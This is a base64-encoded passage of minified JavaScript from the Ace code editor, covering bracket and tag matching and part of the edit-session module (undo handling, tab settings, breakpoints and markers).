0aGlzLiRicmFja2V0c1tlXSxzPTEsbz1uZXcgcih0aGlzLHQucm93LHQuY29sdW1uKSx1PW8uZ2V0Q3VycmVudFRva2VuKCk7dXx8KHU9by5zdGVwRm9yd2FyZCgpKTtpZighdSlyZXR1cm47bnx8KG49bmV3IFJlZ0V4cCgiKFxcLj8iK3UudHlwZS5yZXBsYWNlKCIuIiwiXFwuIikucmVwbGFjZSgicnBhcmVuIiwiLnBhcmVuIikucmVwbGFjZSgvXGIoPzplbmQpXGIvLCIoPzpzdGFydHxiZWdpbnxlbmQpIikrIikrIikpO3ZhciBhPXQuY29sdW1uLW8uZ2V0Q3VycmVudFRva2VuQ29sdW1uKCktMixmPXUudmFsdWU7Zm9yKDs7KXt3aGlsZShhPj0wKXt2YXIgbD1mLmNoYXJBdChhKTtpZihsPT1pKXtzLT0xO2lmKHM9PTApcmV0dXJue3JvdzpvLmdldEN1cnJlbnRUb2tlblJvdygpLGNvbHVtbjphK28uZ2V0Q3VycmVudFRva2VuQ29sdW1uKCl9fWVsc2UgbD09ZSYmKHMrPTEpO2EtPTF9ZG8gdT1vLnN0ZXBCYWNrd2FyZCgpO3doaWxlKHUmJiFuLnRlc3QodS50eXBlKSk7aWYodT09bnVsbClicmVhaztmPXUudmFsdWUsYT1mLmxlbmd0aC0xfXJldHVybiBudWxsfSx0aGlzLiRmaW5kQ2xvc2luZ0JyYWNrZXQ9ZnVuY3Rpb24oZSx0LG4pe3ZhciBpPXRoaXMuJGJyYWNrZXRzW2VdLHM9MSxvPW5ldyByKHRoaXMsdC5yb3csdC5jb2x1bW4pLHU9by5nZXRDdXJyZW50VG9rZW4oKTt1fHwodT1vLnN0ZXBGb3J3YXJkKCkpO2lmKCF1KXJldHVybjtufHwobj1uZXcgUmVnRXhwKCIoXFwuPyIrdS50eXBlLnJlcGxhY2UoIi4iLCJcXC4iKS5yZXBsYWNlKCJscGFyZW4iLCIucGFyZW4iKS5yZXBsYWNlKC9cYig/OnN0YXJ0fGJlZ2luKVxiLywiKD86c3RhcnR8YmVnaW58ZW5kKSIpKyIpKyIpKTt2YXIgYT10LmNvbHVtbi1vLmdldEN1cnJlbnRUb2tlbkNvbHVtbigpO2Zvcig7Oyl7dmFyIGY9dS52YWx1ZSxsPWYubGVuZ3RoO3doaWxlKGE8bCl7dmFyIGM9Zi5jaGFyQXQoYSk7aWYoYz09aSl7cy09MTtpZihzPT0wKXJldHVybntyb3c6by5nZXRDdXJyZW50VG9rZW5Sb3coKSxjb2x1bW46YStvLmdldEN1cnJlbnRUb2tlbkNvbHVtbigpfX1lbHNlIGM9PWUmJihzKz0xKTthKz0xfWRvIHU9by5zdGVwRm9yd2FyZCgpO3doaWxlKHUmJiFuLnRlc3QodS50eXBlKSk7aWYodT09bnVsbClicmVhazthPTB9cmV0dXJuIG51bGx9LHRoaXMuZ2V0TWF0Y2hpbmdUYWdzPWZ1bmN0aW9uKGUpe3ZhciB0PW5ldyByKHRoaXMsZS5yb3csZS5jb2x1bW4pLG49dGhpcy4kZmluZFRhZ05hbWUodCk7aWYoIW4pcmV0dXJuO3ZhciBpPXQuc3RlcEJhY2t3YXJkKCk7cmV0dXJuIGkudmFsdWU9PT0iPCI/dGhpcy4kZmluZENsb3NpbmdUYWcodCxuKTp0aGlzLiRmaW5kT3BlbmluZ1RhZyh0LG4pfSx0aGlzLiRmaW5kVGFnTmFtZT1mdW5jdGlvbihlKXt2YXIgdD1lLmdldEN1cnJlbnRUb2tlbigpLG49ITEscj0hMTtpZih0JiZ0LnR5cGUuaW5kZXhPZigidGFnLW5hbWUiKT09PS0xKWRvIHI/dD1lLnN0ZXBCYWNrd2FyZCgpOnQ9ZS5zdGVwRm9yd2FyZCgpLHQmJih0LnZhbHVlPT09Ii8+Ij9yPSEwOnQudHlwZS5pbmRleE9mKCJ0YWctbmFtZSIpIT09LTEmJihuPSEwKSk7d2hpbGUodCYmIW4pO3JldHVybiB0fSx0aGlzLiRmaW5kQ2xvc2luZ1RhZz1mdW5jdGlvbihlLHQpe3ZhciBuLHI9dC52YWx1ZSxzPXQudmFsdWUsbz0wLHU9bmV3IGkoZS5nZXRDdXJyZW50VG9rZW5Sb3coKSxlLmdldEN1cnJlbnRUb2tlbkNvbHVtbigpLGUuZ2V0Q3VycmVudFRva2VuUm93KCksZS5nZXRDdXJyZW50VG9rZW5Db2x1bW4oKSsxKTt0PWUuc3RlcEZvcndhcmQoKTt2YXIgYT1uZXcgaShlLmdldEN1cnJlbnRUb2tlblJvdygpLGUuZ2V0Q3VycmVudFRva2VuQ29sdW1uKCksZS5nZXRDdXJyZW50VG9rZW5Sb3coKSxlLmdldEN1cnJlbnRUb2tlbkNvbHVtbigpK3QudmFsdWUubGVuZ3RoKSxmPSExO2Rve249dCx0PWUuc3RlcEZvcndhcmQoKTtpZih0KXtpZih0LnZhbHVlPT09Ij4iJiYhZil7dmFyIGw9bmV3IGkoZS5nZXRDdXJyZW50VG9rZW5Sb3coKSxlLmdldEN1cnJlbnRUb2tlbkNvbHVtbigpLGUuZ2V0Q3VycmVudFRva2VuUm93KCksZS5nZXRDdXJyZW50VG9rZW5Db2x1bW4oKSsxKTtmPSEwfWlmKHQudHlwZS5pbmRleE9mKCJ0YWctbmFtZSIpIT09LTEpe3I9dC52YWx1ZTtpZihzPT09cilpZihuLnZhbHVlPT09IjwiKW8rKztlbHNlIGlmKG4udmFsdWU9PT0iPC8iKXtvLS07aWYobzwwKXtlLnN0ZXBCYWNrd2FyZCgpO3ZhciBjPW5ldyBpKGUuZ2V0Q3VycmVudFRva2VuUm93KCksZS5nZXRDdXJyZW50VG9rZW5Db2x1bW4oKSxlLmdldEN1cnJlbnRUb2tlblJvdygpLGUuZ2V0Q3VycmVudFRva2VuQ29sdW1uKCkrMik7dD1lLnN0ZXBGb3J3YXJkKCk7dmFyIGg9bmV3IGkoZS5nZXRDdXJyZW50VG9rZW5Sb3coKSxlLmdldEN1cnJlbnRUb2tlbkNvbHVtbigpLGUuZ2V0Q3VycmVudFRva2VuUm93KCksZS5nZXRDdXJyZW50VG9rZW5Db2x1bW4oKSt0LnZhbHVlLmxlbmd0aCk7dD1lLnN0ZXBGb3J3YXJkKCk7aWYoIXR8fHQudmFsdWUhPT0iPiIpcmV0dXJuO3ZhciBwPW5ldyBpKGUuZ2V0Q3VycmVudFRva2VuUm93KCksZS5nZXRDdXJyZW50VG9rZW5Db2x1bW4oKSxlLmdldEN1cnJlbnRUb2tlblJvdygpLGUuZ2V0Q3VycmVudFRva2VuQ29sdW1uKCkrMSl9fX1lbHNlIGlmKHM9PT1yJiZ0LnZhbHVlPT09Ii8+Iil7by0tO2lmKG88MCl2YXIgYz1uZXcgaShlLmdldEN1cnJlbnRUb2tlblJvdygpLGUuZ2V0Q3VycmVudFRva2VuQ29sdW1uKCksZS5nZXRDdXJyZW50VG9rZW5Sb3coKSxlLmdldEN1cnJlbnRUb2tlbkNvbHVtbigpKzIpLGg9YyxwPWgsbD1uZXcgaShhLmVuZC5yb3csYS5lbmQuY29sdW1uLGEuZW5kLnJvdyxhLmVuZC5jb2x1bW4rMSl9fX13aGlsZSh0JiZvPj0wKTtpZih1JiZsJiZjJiZwJiZhJiZoKXJldHVybntvcGVuVGFnOm5ldyBpKHUuc3RhcnQucm93LHUuc3RhcnQuY29sdW1uLGwuZW5kLnJvdyxsLmVuZC5jb2x1bW4pLGNsb3NlVGFnOm5ldyBpKGMuc3RhcnQucm93LGMuc3RhcnQuY29sdW1uLHAuZW5kLnJvdyxwLmVuZC5jb2x1bW4pLG9wZW5UYWdOYW1lOmEsY2xvc2VUYWdOYW1lOmh9fSx0aGlzLiRmaW5kT3BlbmluZ1RhZz1mdW5jdGlvbihlLHQpe3ZhciBuPWUuZ2V0Q3VycmVudFRva2VuKCkscj10LnZhbHVlLHM9MCxvPWUuZ2V0Q3VycmVudFRva2VuUm93KCksdT1lLmdldEN1cnJlbnRUb2tlbkNvbHVtbigpLGE9dSsyLGY9bmV3IGkobyx1LG8sYSk7ZS5zdGVwRm9yd2FyZCgpO3ZhciBsPW5ldyBpKGUuZ2V0Q3VycmVudFRva2VuUm93KCksZS5nZXRDdXJyZW50VG9rZW5Db2x1bW4oKSxlLmdldEN1cnJlbnRUb2tlblJvdygpLGUuZ2V0Q3VycmVudFRva2VuQ29sdW1uKCkrdC52YWx1ZS5sZW5ndGgpO3Q9ZS5zdGVwRm9yd2FyZCgpO2lmKCF0fHx0LnZhbHVlIT09Ij4iKXJldHVybjt2YXIgYz1uZXcgaShlLmdldEN1cnJlbnRUb2tlblJvdygpLGUuZ2V0Q3VycmVudFRva2VuQ29sdW1uKCksZS5nZXRDdXJyZW50VG9rZW5Sb3coKSxlLmdldEN1cnJlbnRUb2tlbkNvbHVtbigpKzEpO2Uuc3RlcEJhY2t3YXJkKCksZS5zdGVwQmFja3dhcmQoKTtkb3t0PW4sbz1lLmdldEN1cnJlbnRUb2tlblJvdygpLHU9ZS5nZXRDdXJyZW50VG9rZW5Db2x1bW4oKSxhPXUrdC52YWx1ZS5sZW5ndGgsbj1lLnN0ZXBCYWNrd2FyZCgpO2lmKHQpaWYodC50eXBlLmluZGV4T2YoInRhZy1uYW1lIikhPT0tMSl7aWYocj09PXQudmFsdWUpaWYobi52YWx1ZT09PSI8Iil7cysrO2lmKHM+MCl7dmFyIGg9bmV3IGkobyx1LG8sYSkscD1uZXcgaShlLmdldEN1cnJlbnRUb2tlblJvdygpLGUuZ2V0Q3VycmVudFRva2VuQ29sdW1uKCksZS5nZXRDdXJyZW50VG9rZW5Sb3coKSxlLmdldEN1cnJlbnRUb2tlbkNvbHVtbigpKzEpO2RvIHQ9ZS5zdGVwRm9yd2FyZCgpO3doaWxlKHQmJnQudmFsdWUhPT0iPiIpO3ZhciBkPW5ldyBpKGUuZ2V0Q3VycmVudFRva2VuUm93KCksZS5nZXRDdXJyZW50VG9rZW5Db2x1bW4oKSxlLmdldEN1cnJlbnRUb2tlblJvdygpLGUuZ2V0Q3VycmVudFRva2VuQ29sdW1uKCkrMSl9fWVsc2Ugbi52YWx1ZT09PSI8LyImJnMtLX1lbHNlIGlmKHQudmFsdWU9PT0iLz4iKXt2YXIgdj0wLG09bjt3aGlsZShtKXtpZihtLnR5cGUuaW5kZXhPZigidGFnLW5hbWUiKSE9PS0xJiZtLnZhbHVlPT09cil7cy0tO2JyZWFrfWlmKG0udmFsdWU9PT0iPCIpYnJlYWs7bT1lLnN0ZXBCYWNrd2FyZCgpLHYrK31mb3IodmFyIGc9MDtnPHY7ZysrKWUuc3RlcEZvcndhcmQoKX19d2hpbGUobiYmczw9MCk7aWYocCYmZCYmZiYmYyYmaCYmbClyZXR1cm57b3BlblRhZzpuZXcgaShwLnN0YXJ0LnJvdyxwLnN0YXJ0LmNvbHVtbixkLmVuZC5yb3csZC5lbmQuY29sdW1uKSxjbG9zZVRhZzpuZXcgaShmLnN0YXJ0LnJvdyxmLnN0YXJ0LmNvbHVtbixjLmVuZC5yb3csYy5lbmQuY29sdW1uKSxvcGVuVGFnTmFtZTpoLGNsb3NlVGFnTmFtZTpsfX19dmFyIHI9ZSgiLi4vdG9rZW5faXRlcmF0b3IiKS5Ub2tlbkl0ZXJhdG9yLGk9ZSgiLi4vcmFuZ2UiKS5SYW5nZTt0LkJyYWNrZXRNYXRjaD1zfSksZGVmaW5lKCJhY2UvZWRpdF9zZXNzaW9uIixbInJlcXVpcmUiLCJleHBvcnRzIiwibW9kdWxlIiwiYWNlL2xpYi9vb3AiLCJhY2UvbGliL2xhbmciLCJhY2UvYmlkaWhhbmRsZXIiLCJhY2UvY29uZmlnIiwiYWNlL2xpYi9ldmVudF9lbWl0dGVyIiwiYWNlL3NlbGVjdGlvbiIsImFjZS9tb2RlL3RleHQiLCJhY2UvcmFuZ2UiLCJhY2UvZG9jdW1lbnQiLCJhY2UvYmFja2dyb3VuZF90b2tlbml6ZXIiLCJhY2Uvc2VhcmNoX2hpZ2hsaWdodCIsImFjZS9lZGl0X3Nlc3Npb24vZm9sZGluZyIsImFjZS9lZGl0X3Nlc3Npb24vYnJhY2tldF9tYXRjaCJdLGZ1bmN0aW9uKGUsdCxuKXsidXNlIHN0cmljdCI7dmFyIHI9ZSgiLi9saWIvb29wIiksaT1lKCIuL2xpYi9sYW5nIikscz1lKCIuL2JpZGloYW5kbGVyIikuQmlkaUhhbmRsZXIsbz1lKCIuL2NvbmZpZyIpLHU9ZSgiLi9saWIvZXZlbnRfZW1pdHRlciIpLkV2ZW50RW1pdHRlcixhPWUoIi4vc2VsZWN0aW9uIikuU2VsZWN0aW9uLGY9ZSgiLi9tb2RlL3RleHQiKS5Nb2RlLGw9ZSgiLi9yYW5nZSIpLlJhbmdlLGM9ZSgiLi9kb2N1bWVudCIpLkRvY3VtZW50LGg9ZSgiLi9iYWNrZ3JvdW5kX3Rva2VuaXplciIpLkJhY2tncm91bmRUb2tlbml6ZXIscD1lKCIuL3NlYXJjaF9oaWdobGlnaHQiKS5TZWFyY2hIaWdobGlnaHQsZD1mdW5jdGlvbihlLHQpe3RoaXMuJGJyZWFrcG9pbnRzPVtdLHRoaXMuJGRlY29yYXRpb25zPVtdLHRoaXMuJGZyb250TWFya2Vycz17fSx0aGlzLiRiYWNrTWFya2Vycz17fSx0aGlzLiRtYXJrZXJJZD0xLHRoaXMuJHVuZG9TZWxlY3Q9ITAsdGhpcy4kZm9sZERhdGE9W10sdGhpcy5pZD0ic2Vzc2lvbiIrICsrZC4kdWlkLHRoaXMuJGZvbGREYXRhLnRvU3RyaW5nPWZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMuam9pbigiXG4iKX0sdGhpcy5iZ1Rva2VuaXplcj1uZXcgaCgobmV3IGYpLmdldFRva2VuaXplcigpLHRoaXMpO3ZhciBuPXRoaXM7dGhpcy5iZ1Rva2VuaXplci5vbigidXBkYXRlIixmdW5jdGlvbihlKXtuLl9zaWduYWwoInRva2VuaXplclVwZGF0ZSIsZSl9KSx0aGlzLm9uKCJjaGFuZ2VGb2xkIix0aGlzLm9uQ2hhbmdlRm9sZC5iaW5kKHRoaXMpKSx0aGlzLiRvbkNoYW5nZT10aGlzLm9uQ2hhbmdlLmJpbmQodGhpcyk7aWYodHlwZW9mIGUhPSJvYmplY3QifHwhZS5nZXRMaW5lKWU9bmV3IGMoZSk7dGhpcy5zZXREb2N1bWVudChlKSx0aGlzLnNlbGVjdGlvbj1uZXcgYSh0aGlzKSx0aGlzLiRiaWRpSGFuZGxlcj1uZXcgcyh0aGlzKSxvLnJlc2V0T3B0aW9ucyh0aGlzKSx0aGlzLnNldE1vZGUodCksby5fc2lnbmFsKCJzZXNzaW9uIix0aGlzKSx0aGlzLmRlc3Ryb3llZD0hMX07ZC4kdWlkPTAsZnVuY3Rpb24oKXtmdW5jdGlvbiB2KGUpe3JldHVybiBlPDQzNTI/ITE6ZT49NDM1MiYmZTw9NDQ0N3x8ZT49NDUxNSYmZTw9NDUxOXx8ZT49NDYwMiYmZTw9NDYwN3x8ZT49OTAwMSYmZTw9OTAwMnx8ZT49MTE5MDQmJmU8PTExOTI5fHxlPj0xMTkzMSYmZTw9MTIwMTl8fGU+PTEyMDMyJiZlPD0xMjI0NXx8ZT49MTIyNzImJmU8PTEyMjgzfHxlPj0xMjI4OCYmZTw9MTIzNTB8fGU+PTEyMzUzJiZlPD0xMjQzOHx8ZT49MTI0NDEmJmU8PTEyNTQzfHxlPj0xMjU0OSYmZTw9MTI1ODl8fGU+PTEyNTkzJiZlPD0xMjY4Nnx8ZT49MTI2ODgmJmU8PTEyNzMwfHxlPj0xMjczNiYmZTw9MTI3NzF8fGU+PTEyNzg0JiZlPD0xMjgzMHx8ZT49MTI4MzImJmU8PTEyODcxfHxlPj0xMjg4MCYmZTw9MTMwNTR8fGU+PTEzMDU2JiZlPD0xOTkwM3x8ZT49MTk5NjgmJmU8PTQyMTI0fHxlPj00MjEyOCYmZTw9NDIxODJ8fGU+PTQzMzYwJiZlPD00MzM4OHx8ZT49NDQwMzImJmU8PTU1MjAzfHxlPj01NTIxNiYmZTw9NTUyMzh8fGU+PTU1MjQzJiZlPD01NTI5MXx8ZT49NjM3NDQmJmU8PTY0MjU1fHxlPj02NTA0MCYmZTw9NjUwNDl8fGU+PTY1MDcyJiZlPD02NTEwNnx8ZT49NjUxMDgmJmU8PTY1MTI2fHxlPj02NTEyOCYmZTw9NjUxMzF8fGU+PTY1MjgxJiZlPD02NTM3Nnx8ZT49NjU1MDQmJmU8PTY1NTEwfXIuaW1wbGVtZW50KHRoaXMsdSksdGhpcy5zZXREb2N1bWVudD1mdW5jdGlvbihlKXt0aGlzLmRvYyYmdGhpcy5kb2Mub2ZmKCJjaGFuZ2UiLHRoaXMuJG9uQ2hhbmdlKSx0aGlzLmRvYz1lLGUub24oImNoYW5nZSIsdGhpcy4kb25DaGFuZ2UsITApLHRoaXMuYmdUb2tlbml6ZXIuc2V0RG9jdW1lbnQodGhpcy5nZXREb2N1bWVudCgpKSx0aGlzLnJlc2V0Q2FjaGVzKCl9LHRoaXMuZ2V0RG9jdW1lbnQ9ZnVuY3Rpb24oKXtyZXR1cm4gdGhpcy5kb2N9LHRoaXMuJHJlc2V0Um93Q2FjaGU9ZnVuY3Rpb24oZSl7aWYoIWUpe3RoaXMuJGRvY1Jvd0NhY2hlPVtdLHRoaXMuJHNjcmVlblJvd0NhY2hlPVtdO3JldHVybn12YXIgdD10aGlzLiRkb2NSb3dDYWNoZS5sZW5ndGgsbj10aGlzLiRnZXRSb3dDYWNoZUluZGV4KHRoaXMuJGRvY1Jvd0NhY2hlLGUpKzE7dD5uJiYodGhpcy4kZG9jUm93Q2FjaGUuc3BsaWNlKG4sdCksdGhpcy4kc2NyZWVuUm93Q2FjaGUuc3BsaWNlKG4sdCkpfSx0aGlzLiRnZXRSb3dDYWNoZUluZGV4PWZ1bmN0aW9uKGUsdCl7dmFyIG49MCxyPWUubGVuZ3RoLTE7d2hpbGUobjw9cil7dmFyIGk9bityPj4xLHM9ZVtpXTtpZih0PnMpbj1pKzE7ZWxzZXtpZighKHQ8cykpcmV0dXJuIGk7cj1pLTF9fXJldHVybiBuLTF9LHRoaXMucmVzZXRDYWNoZXM9ZnVuY3Rpb24oKXt0aGlzLiRtb2RpZmllZD0hMCx0aGlzLiR3cmFwRGF0YT1bXSx0aGlzLiRyb3dMZW5ndGhDYWNoZT1bXSx0aGlzLiRyZXNldFJvd0NhY2hlKDApLHRoaXMuZGVzdHJveWVkfHx0aGlzLmJnVG9rZW5pemVyLnN0YXJ0KDApfSx0aGlzLm9uQ2hhbmdlRm9sZD1mdW5jdGlvbihlKXt2YXIgdD1lLmRhdGE7dGhpcy4kcmVzZXRSb3dDYWNoZSh0LnN0YXJ0LnJvdyl9LHRoaXMub25DaGFuZ2U9ZnVuY3Rpb24oZSl7dGhpcy4kbW9kaWZpZWQ9ITAsdGhpcy4kYmlkaUhhbmRsZXIub25DaGFuZ2UoZSksdGhpcy4kcmVzZXRSb3dDYWNoZShlLnN0YXJ0LnJvdyk7dmFyIHQ9dGhpcy4kdXBkYXRlSW50ZXJuYWxEYXRhT25DaGFuZ2UoZSk7IXRoaXMuJGZyb21VbmRvJiZ0aGlzLiR1bmRvTWFuYWdlciYmKHQmJnQubGVuZ3RoJiYodGhpcy4kdW5kb01hbmFnZXIuYWRkKHthY3Rpb246InJlbW92ZUZvbGRzIixmb2xkczp0fSx0aGlzLm1lcmdlVW5kb0RlbHRhcyksdGhpcy5tZXJnZVVuZG9EZWx0YXM9ITApLHRoaXMuJHVuZG9NYW5hZ2VyLmFkZChlLHRoaXMubWVyZ2VVbmRvRGVsdGFzKSx0aGlzLm1lcmdlVW5kb0RlbHRhcz0hMCx0aGlzLiRpbmZvcm1VbmRvTWFuYWdlci5zY2hlZHVsZSgpKSx0aGlzLmJnVG9rZW5pemVyLiR1cGRhdGVPbkNoYW5nZShlKSx0aGlzLl9zaWduYWwoImNoYW5nZSIsZSl9LHRoaXMuc2V0VmFsdWU9ZnVuY3Rpb24oZSl7dGhpcy5kb2Muc2V0VmFsdWUoZSksdGhpcy5zZWxlY3Rpb24ubW92ZVRvKDAsMCksdGhpcy4kcmVzZXRSb3dDYWNoZSgwKSx0aGlzLnNldFVuZG9NYW5hZ2VyKHRoaXMuJHVuZG9NYW5hZ2VyKSx0aGlzLmdldFVuZG9NYW5hZ2VyKCkucmVzZXQoKX0sdGhpcy5nZXRWYWx1ZT10aGlzLnRvU3RyaW5nPWZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMuZG9jLmdldFZhbHVlKCl9LHRoaXMuZ2V0U2VsZWN0aW9uPWZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMuc2VsZWN0aW9ufSx0aGlzLmdldFN0YXRlPWZ1bmN0aW9uKGUpe3JldHVybiB0aGlzLmJnVG9rZW5pemVyLmdldFN0YXRlKGUpfSx0aGlzLmdldFRva2Vucz1mdW5jdGlvbihlKXtyZXR1cm4gdGhpcy5iZ1Rva2VuaXplci5nZXRUb2tlbnMoZSl9LHRoaXMuZ2V0VG9rZW5BdD1mdW5jdGlvbihlLHQpe3ZhciBuPXRoaXMuYmdUb2tlbml6ZXIuZ2V0VG9rZW5zKGUpLHIsaT0wO2lmKHQ9PW51bGwpe3ZhciBzPW4ubGVuZ3RoLTE7aT10aGlzLmdldExpbmUoZSkubGVuZ3RofWVsc2UgZm9yKHZhciBzPTA7czxuLmxlbmd0aDtzKyspe2krPW5bc10udmFsdWUubGVuZ3RoO2lmKGk+PXQpYnJlYWt9cmV0dXJuIHI9bltzXSxyPyhyLmluZGV4PXMsci5zdGFydD1pLXIudmFsdWUubGVuZ3RoLHIpOm51bGx9LHRoaXMuc2V0VW5kb01hbmFnZXI9ZnVuY3Rpb24oZSl7dGhpcy4kdW5kb01hbmFnZXI9ZSx0aGlzLiRpbmZvcm1VbmRvTWFuYWdlciYmdGhpcy4kaW5mb3JtVW5kb01hbmFnZXIuY2FuY2VsKCk7aWYoZSl7dmFyIHQ9dGhpcztlLmFkZFNlc3Npb24odGhpcyksdGhpcy4kc3luY0luZm9ybVVuZG9NYW5hZ2VyPWZ1bmN0aW9uKCl7dC4kaW5mb3JtVW5kb01hbmFnZXIuY2FuY2VsKCksdC5tZXJnZVVuZG9EZWx0YXM9ITF9LHRoaXMuJGluZm9ybVVuZG9NYW5hZ2VyPWkuZGVsYXllZENhbGwodGhpcy4kc3luY0luZm9ybVVuZG9NYW5hZ2VyKX1lbHNlIHRoaXMuJHN5bmNJbmZvcm1VbmRvTWFuYWdlcj1mdW5jdGlvbigpe319LHRoaXMubWFya1VuZG9Hcm91cD1mdW5jdGlvbigpe3RoaXMuJHN5bmNJbmZvcm1VbmRvTWFuYWdlciYmdGhpcy4kc3luY0luZm9ybVVuZG9NYW5hZ2VyKCl9LHRoaXMuJGRlZmF1bHRVbmRvTWFuYWdlcj17dW5kbzpmdW5jdGlvbigpe30scmVkbzpmdW5jdGlvbigpe30saGFzVW5kbzpmdW5jdGlvbigpe30saGFzUmVkbzpmdW5jdGlvbigpe30scmVzZXQ6ZnVuY3Rpb24oKXt9LGFkZDpmdW5jdGlvbigpe30sYWRkU2VsZWN0aW9uOmZ1bmN0aW9uKCl7fSxzdGFydE5ld0dyb3VwOmZ1bmN0aW9uKCl7fSxhZGRTZXNzaW9uOmZ1bmN0aW9uKCl7fX0sdGhpcy5nZXRVbmRvTWFuYWdlcj1mdW5jdGlvbigpe3JldHVybiB0aGlzLiR1bmRvTWFuYWdlcnx8dGhpcy4kZGVmYXVsdFVuZG9NYW5hZ2VyfSx0aGlzLmdldFRhYlN0cmluZz1mdW5jdGlvbigpe3JldHVybiB0aGlzLmdldFVzZVNvZnRUYWJzKCk/aS5zdHJpbmdSZXBlYXQoIiAiLHRoaXMuZ2V0VGFiU2l6ZSgpKToiCSJ9LHRoaXMuc2V0VXNlU29mdFRhYnM9ZnVuY3Rpb24oZSl7dGhpcy5zZXRPcHRpb24oInVzZVNvZnRUYWJzIixlKX0sdGhpcy5nZXRVc2VTb2Z0VGFicz1mdW5jdGlvbigpe3JldHVybiB0aGlzLiR1c2VTb2Z0VGFicyYmIXRoaXMuJG1vZGUuJGluZGVudFdpdGhUYWJzfSx0aGlzLnNldFRhYlNpemU9ZnVuY3Rpb24oZSl7dGhpcy5zZXRPcHRpb24oInRhYlNpemUiLGUpfSx0aGlzLmdldFRhYlNpemU9ZnVuY3Rpb24oKXtyZXR1cm4gdGhpcy4kdGFiU2l6ZX0sdGhpcy5pc1RhYlN0b3A9ZnVuY3Rpb24oZSl7cmV0dXJuIHRoaXMuJHVzZVNvZnRUYWJzJiZlLmNvbHVtbiV0aGlzLiR0YWJTaXplPT09MH0sdGhpcy5zZXROYXZpZ2F0ZVdpdGhpblNvZnRUYWJzPWZ1bmN0aW9uKGUpe3RoaXMuc2V0T3B0aW9uKCJuYXZpZ2F0ZVdpdGhpblNvZnRUYWJzIixlKX0sdGhpcy5nZXROYXZpZ2F0ZVdpdGhpblNvZnRUYWJzPWZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMuJG5hdmlnYXRlV2l0aGluU29mdFRhYnN9LHRoaXMuJG92ZXJ3cml0ZT0hMSx0aGlzLnNldE92ZXJ3cml0ZT1mdW5jdGlvbihlKXt0aGlzLnNldE9wdGlvbigib3ZlcndyaXRlIixlKX0sdGhpcy5nZXRPdmVyd3JpdGU9ZnVuY3Rpb24oKXtyZXR1cm4gdGhpcy4kb3ZlcndyaXRlfSx0aGlzLnRvZ2dsZU92ZXJ3cml0ZT1mdW5jdGlvbigpe3RoaXMuc2V0T3ZlcndyaXRlKCF0aGlzLiRvdmVyd3JpdGUpfSx0aGlzLmFkZEd1dHRlckRlY29yYXRpb249ZnVuY3Rpb24oZSx0KXt0aGlzLiRkZWNvcmF0aW9uc1tlXXx8KHRoaXMuJGRlY29yYXRpb25zW2VdPSIiKSx0aGlzLiRkZWNvcmF0aW9uc1tlXSs9IiAiK3QsdGhpcy5fc2lnbmFsKCJjaGFuZ2VCcmVha3BvaW50Iix7fSl9LHRoaXMucmVtb3ZlR3V0dGVyRGVjb3JhdGlvbj1mdW5jdGlvbihlLHQpe3RoaXMuJGRlY29yYXRpb25zW2VdPSh0aGlzLiRkZWNvcmF0aW9uc1tlXXx8IiIpLnJlcGxhY2UoIiAiK3QsIiIpLHRoaXMuX3NpZ25hbCgiY2hhbmdlQnJlYWtwb2ludCIse30pfSx0aGlzLmdldEJyZWFrcG9pbnRzPWZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMuJGJyZWFrcG9pbnRzfSx0aGlzLnNldEJyZWFrcG9pbnRzPWZ1bmN0aW9uKGUpe3RoaXMuJGJyZWFrcG9pbnRzPVtdO2Zvcih2YXIgdD0wO3Q8ZS5sZW5ndGg7dCsrKXRoaXMuJGJyZWFrcG9pbnRzW2VbdF1dPSJhY2VfYnJlYWtwb2ludCI7dGhpcy5fc2lnbmFsKCJjaGFuZ2VCcmVha3BvaW50Iix7fSl9LHRoaXMuY2xlYXJCcmVha3BvaW50cz1mdW5jdGlvbigpe3RoaXMuJGJyZWFrcG9pbnRzPVtdLHRoaXMuX3NpZ25hbCgiY2hhbmdlQnJlYWtwb2ludCIse30pfSx0aGlzLnNldEJyZWFrcG9pbnQ9ZnVuY3Rpb24oZSx0KXt0PT09dW5kZWZpbmVkJiYodD0iYWNlX2JyZWFrcG9pbnQiKSx0P3RoaXMuJGJyZWFrcG9pbnRzW2VdPXQ6ZGVsZXRlIHRoaXMuJGJyZWFrcG9pbnRzW2VdLHRoaXMuX3NpZ25hbCgiY2hhbmdlQnJlYWtwb2ludCIse30pfSx0aGlzLmNsZWFyQnJlYWtwb2ludD1mdW5jdGlvbihlKXtkZWxldGUgdGhpcy4kYnJlYWtwb2ludHNbZV0sdGhpcy5fc2lnbmFsKCJjaGFuZ2VCcmVha3BvaW50Iix7fSl9LHRoaXMuYWRkTWFya2VyPWZ1bmN0aW9uKGUsdCxuLHIpe3ZhciBpPXRoaXMuJG1hcmtlcklkKysscz17cmFuZ2U6ZSx0eXBlOm58fCJsaW5lIixyZW5kZXJlcjp0eXBlb2Ygbj09ImZ1bmN0aW9uIj9uOm51bGwsY2xheno6dCxpbkZyb250OiEhcixpZDppfTtyZXR1cm4gcj8odGhpcy4kZnJvbnRNYXJrZXJzW2ldPXMsdGhpcy5fc2lnbmFsKCJjaGFuZ2VGcm9udE1hcmtlciIpKToodGhpcy4kYmFja01hcmtlcnNbaV09cyx0aGlzLl9zaWduYWwoImNoYW5nZUJhY2tNYXJrZXIiKSksaX0sdGhpcy5hZGREeW5hbWljTWFya2VyPWZ1bmN0aW9uKGUsdCl7aWYoIWUudXBkYXRlKXJldHVybjt2YXIgbj10aGlzLiRtYXJrZXJJZCsrO3JldHVybiBlLmlkPW4sZS5pbkZyb250PSEhdCx0Pyh0aGlzLiRmcm9udE1hcmtlcnNbbl09ZSx0aGlzLl9zaWduYWwoImNoYW5nZUZyb250TWFya2VyIikpOih0aGlzLiRiYWNrTWFya2Vyc1tuXT1lLHRoaXMuX3NpZ25hbCgiY2hhbmdlQmFja01hcmtlciIpKSxlfSx0aGlzLnJlbW92ZU1hcmtlcj1mdW5jdGlvbihlKXt2YXIgdD10aGlzLiRmcm9udE1hcmtlcnNbZV18fHRoaXMuJGJhY2tNYXJrZXJzW2VdO2lmKCF0KXJldHVybjt2YXIgbj10LmluRnJvbnQ/dGhpcy4kZnJvbnRNYXJrZXJzOnRoaXMuJGJhY2tNYXJrZXJzO2RlbGV0ZSBuW2VdLHRoaXMuX3NpZ25hbCh0LmluRnJvbnQ/ImNoYW5nZUZyb250TWFya2VyIjoiY2hhbmdlQmFja01hc